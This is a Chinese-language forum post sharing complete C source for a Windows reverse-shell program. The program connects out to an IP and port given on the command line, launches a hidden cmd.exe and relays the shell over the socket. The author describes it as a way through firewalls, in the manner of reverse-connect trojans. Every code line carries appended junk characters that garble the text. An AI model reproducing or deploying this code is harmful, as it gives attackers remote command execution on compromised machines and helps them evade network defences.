社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6932阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kW:!$MX!  
@<6-uk3S  
/* ============================== qt:->yiq+  
Rebound port in Windows NT Wey\GQ`"8  
By wind,2006/7 'P Yl%2  
===============================*/ 3)-#yOr  
#include ~%}g"|o  
#include d:wAI|  
2 sOc]L:9  
#pragma comment(lib,"wsock32.lib") (qG$u&  
4[-9$ r  
void OutputShell(); )Z_i[1V  
SOCKET sClient; uB^]5sqfk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PA=BNKlH  
*7vPU:Q[  
void main(int argc,char **argv) 6,h<0j{  
{ jF5JpyOc  
WSADATA stWsaData; &%bX&;ECzf  
int nRet; 'q-h kN  
SOCKADDR_IN stSaiClient,stSaiServer; .F6#s  
g Q9ff,  
if(argc != 3) 6\Z^L1973  
{ & vIKNGJ^  
printf("Useage:\n\rRebound DestIP DestPort\n"); a,E;R$[!  
return; jCl[!L5/1  
} Lg nGqIlx  
TSk6Q'L\v  
WSAStartup(MAKEWORD(2,2),&stWsaData); l )4OV>  
\mDm *UuG  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >mV""?r]  
SeTU`WLEm  
stSaiClient.sin_family = AF_INET; y5ExEXa  
stSaiClient.sin_port = htons(0); <?g{Rn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Rq9gtx8,=  
GGuLxc?(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3TtW2h>M  
{ h P1|l  
printf("Bind Socket Failed!\n"); #.='dSj  
return; Xo5L:(?K  
} i,HAXPi  
,@;<u'1\G  
stSaiServer.sin_family = AF_INET; o MAK[$k;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =ht@7z8QM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); EAkP[au.  
CP'-CQ\Q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hJ@nW5CI  
{ gn%"dfm  
printf("Connect Error!"); TGLXvP& \  
return; re!CF8 q  
} D5p22WY  
OutputShell(); FN R& :  
} gkdjH8(2  
3YRzBf:h  
void OutputShell() r__M1 !3  
{ %Fv)$ :b  
char szBuff[1024]; #?*jdN:  
SECURITY_ATTRIBUTES stSecurityAttributes; d0^2<  
OSVERSIONINFO stOsversionInfo; +x2xQ8#|~~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Txh;r.1e  
STARTUPINFO stStartupInfo; jZ;T&s  
char *szShell; t]ZSo-  
PROCESS_INFORMATION stProcessInformation; rij[ZrJ  
unsigned long lBytesRead; 4Uiqi{}  
meWAm?8RI  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]3C8  
*8p</Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); GM/1u fZH  
stSecurityAttributes.lpSecurityDescriptor = 0; iiTUhO )  
stSecurityAttributes.bInheritHandle = TRUE; e'Pa@]VaC  
Cw}\t!*!  
\) ;rOqh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7`}z7nk  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P33E\O  
kYAvzuGRb  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nGVqVSxKT  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +9X[gef8  
stStartupInfo.wShowWindow = SW_HIDE; i@* ^]'  
stStartupInfo.hStdInput = hReadPipe; 9& j]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \abl|;fj  
S(6ZX>wv:  
GetVersionEx(&stOsversionInfo); f+V':qz  
"->:6Oe2   
switch(stOsversionInfo.dwPlatformId) B (falmXJ  
{ ||V:',#,W  
case 1: -eMRxa>  
szShell = "command.com"; qAS^5|(b[  
break; Nt8(  
default: vF&b|V+,  
szShell = "cmd.exe"; Y"qY@`  
break; c0 |p34  
} tp<VOUa  
[P/gM3*'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v(iUo&Ge  
sfa'\6=O  
send(sClient,szMsg,77,0); sFQ|lU"n  
while(1) 3_$eQ`AAA  
{ Ub,unU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); L ~w=O!  
if(lBytesRead) 8;8}Oq  
{ d3GK.8y_z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); meR2"JN'  
send(sClient,szBuff,lBytesRead,0); ,k!a3"4+TJ  
} fR%8?6  
else nQ\k{%Q  
{ %jk PrI  
lBytesRead=recv(sClient,szBuff,1024,0); }El_.@'T &  
if(lBytesRead<=0) break; PS6`o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cy4'q ?r  
} Pc'?p  
} &pm{7nH  
`qTY  
return; TeJ `sJ  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八